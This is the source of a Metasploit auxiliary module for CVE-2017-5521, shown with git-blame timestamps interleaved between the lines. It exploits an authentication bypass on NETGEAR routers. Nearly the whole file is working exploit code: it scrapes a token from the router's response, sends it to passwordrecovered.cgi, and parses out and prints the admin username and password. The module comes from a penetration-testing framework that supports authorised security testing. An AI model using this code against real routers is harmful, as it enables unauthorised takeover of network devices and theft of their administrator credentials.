2017-02-05 18:39:58 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'NETGEAR Administrator Password Disclosure',
|
|
|
|
'Description' => %q{
|
2017-02-06 14:44:35 +00:00
|
|
|
This module will collect the password for the `admin` user.
|
2017-02-05 18:39:58 +00:00
|
|
|
The exploit will not complete if password recovery is set on the router.
|
2017-02-14 06:05:46 +00:00
|
|
|
The password is received by passing the token generated from `unauth.cgi`
|
2017-02-05 18:39:58 +00:00
|
|
|
to `passwordrecovered.cgi`. This exploit works on many different NETGEAR
|
2017-02-06 22:29:39 +00:00
|
|
|
products. The full list of affected products is available in the 'References'
|
|
|
|
section.
|
|
|
|
|
2017-02-05 18:39:58 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Simon Kenin', # Vuln Discovery, PoC
|
|
|
|
'thecarterb' # Metasploit module
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2017-5521' ],
|
|
|
|
[ 'URL', 'https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2017-003/?fid=8911' ],
|
|
|
|
[ 'URL', 'http://thehackernews.com/2017/01/Netgear-router-password-hacking.html'],
|
|
|
|
[ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2017-5521--Bypassing-Authentication-on-NETGEAR-Routers/'],
|
2017-02-07 03:03:56 +00:00
|
|
|
[ 'URL', 'http://pastebin.com/dB4bTgxz'],
|
2017-02-05 18:39:58 +00:00
|
|
|
[ 'EDB', '41205']
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2017-02-06 16:54:29 +00:00
|
|
|
OptString::new('TARGETURI', [true, 'The base path to the vulnerable application', '/'])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2017-02-05 18:39:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# @return substring of 'text', usually a response from a server in this case
|
|
|
|
def scrape(text, start_trig, end_trig)
|
2017-02-06 14:44:35 +00:00
|
|
|
text[/#{start_trig}(.*?)#{end_trig}/m, 1]
|
2017-02-05 18:39:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2017-02-06 16:54:29 +00:00
|
|
|
uri = target_uri.path
|
|
|
|
uri = normalize_uri(uri)
|
2017-02-05 18:39:58 +00:00
|
|
|
print_status("Checking if #{rhost} is a NETGEAR router")
|
|
|
|
vprint_status("Sending request to http://#{rhost}/")
|
|
|
|
|
|
|
|
# will always call check no matter what
|
|
|
|
is_ng = check
|
|
|
|
|
2017-02-06 17:10:01 +00:00
|
|
|
res = send_request_cgi({ 'uri' => uri })
|
|
|
|
if res.nil?
|
|
|
|
print_error("#{rhost} returned an empty response.")
|
|
|
|
return
|
|
|
|
end
|
2017-02-05 18:39:58 +00:00
|
|
|
|
|
|
|
if is_ng == Exploit::CheckCode::Detected
|
|
|
|
marker_one = "id="
|
|
|
|
marker_two = "\""
|
|
|
|
token = scrape(res.to_s, marker_one, marker_two)
|
2017-02-06 14:44:35 +00:00
|
|
|
if token.nil?
|
2017-02-05 18:39:58 +00:00
|
|
|
print_error("#{rhost} is not vulnerable: Token not found")
|
|
|
|
return
|
|
|
|
end
|
2017-02-06 22:29:39 +00:00
|
|
|
|
2017-02-07 15:53:25 +00:00
|
|
|
if token == '0'
|
|
|
|
print_status("If no creds are found, try the exploit again. #{rhost} returned a token of 0")
|
|
|
|
end
|
2017-02-05 18:39:58 +00:00
|
|
|
print_status("Token found: #{token}")
|
|
|
|
vprint_status("Token found at #{rhost}/unauth.cgi?id=#{token}")
|
2017-02-06 22:29:39 +00:00
|
|
|
|
2017-02-06 17:43:31 +00:00
|
|
|
r = send_request_cgi({
|
|
|
|
'uri' => "/passwordrecovered.cgi",
|
2017-02-06 22:29:39 +00:00
|
|
|
'vars_get' => { 'id' => token }
|
2017-02-08 02:32:19 +00:00
|
|
|
})
|
2017-02-06 22:29:39 +00:00
|
|
|
|
2017-02-05 18:39:58 +00:00
|
|
|
vprint_status("Sending request to #{rhost}/passwordrecovered.cgi?id=#{token}")
|
2017-02-07 03:06:50 +00:00
|
|
|
|
2017-02-07 03:03:56 +00:00
|
|
|
html = r.get_html_document
|
|
|
|
raw_html = html.text
|
|
|
|
|
|
|
|
username = scrape(raw_html, "Router Admin Username", "Router Admin Password")
|
|
|
|
password = scrape(raw_html, "Router Admin Password", "You can")
|
2017-02-08 02:41:38 +00:00
|
|
|
if username.nil? || password.nil?
|
2017-02-08 18:40:11 +00:00
|
|
|
print_error("#{rhost} returned empty credentials")
|
|
|
|
return
|
2017-02-08 02:41:38 +00:00
|
|
|
end
|
2017-02-08 18:40:11 +00:00
|
|
|
username.strip!
|
|
|
|
password.strip!
|
|
|
|
|
2017-02-08 14:14:39 +00:00
|
|
|
if username.empty? || password.empty?
|
2017-02-08 02:41:38 +00:00
|
|
|
print_error("No Creds found")
|
|
|
|
else
|
|
|
|
print_good("Creds found: #{username}/#{password}")
|
|
|
|
end
|
2017-02-05 18:39:58 +00:00
|
|
|
else
|
|
|
|
print_error("#{rhost} is not vulnerable: Not a NETGEAR device")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2017-02-08 02:32:19 +00:00
|
|
|
# Almost every NETGEAR router sends a 'WWW-Authenticate' header in the response
|
|
|
|
# This checks the response for that header.
|
2017-02-06 22:29:39 +00:00
|
|
|
def check
|
|
|
|
|
2017-02-06 17:43:31 +00:00
|
|
|
res = send_request_cgi({'uri'=>'/'})
|
2017-02-06 22:29:39 +00:00
|
|
|
if res.nil?
|
2017-02-06 14:44:35 +00:00
|
|
|
fail_with(Failure::Unreachable, 'Connection timed out.')
|
2017-02-05 18:39:58 +00:00
|
|
|
end
|
|
|
|
|
2017-02-08 02:41:38 +00:00
|
|
|
# Checks for the `WWW-Authenticate` header in the response
|
|
|
|
if res.headers["WWW-Authenticate"]
|
|
|
|
data = res.to_s
|
|
|
|
marker_one = "Basic realm=\""
|
|
|
|
marker_two = "\""
|
|
|
|
model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]
|
|
|
|
print_good("Router is a NETGEAR router (#{model})")
|
|
|
|
return Exploit::CheckCode::Detected
|
2017-02-05 18:39:58 +00:00
|
|
|
else
|
2017-02-08 02:41:38 +00:00
|
|
|
print_error('Router is not a NETGEAR router')
|
|
|
|
return Exploit::CheckCode::Safe
|
2017-02-05 18:39:58 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|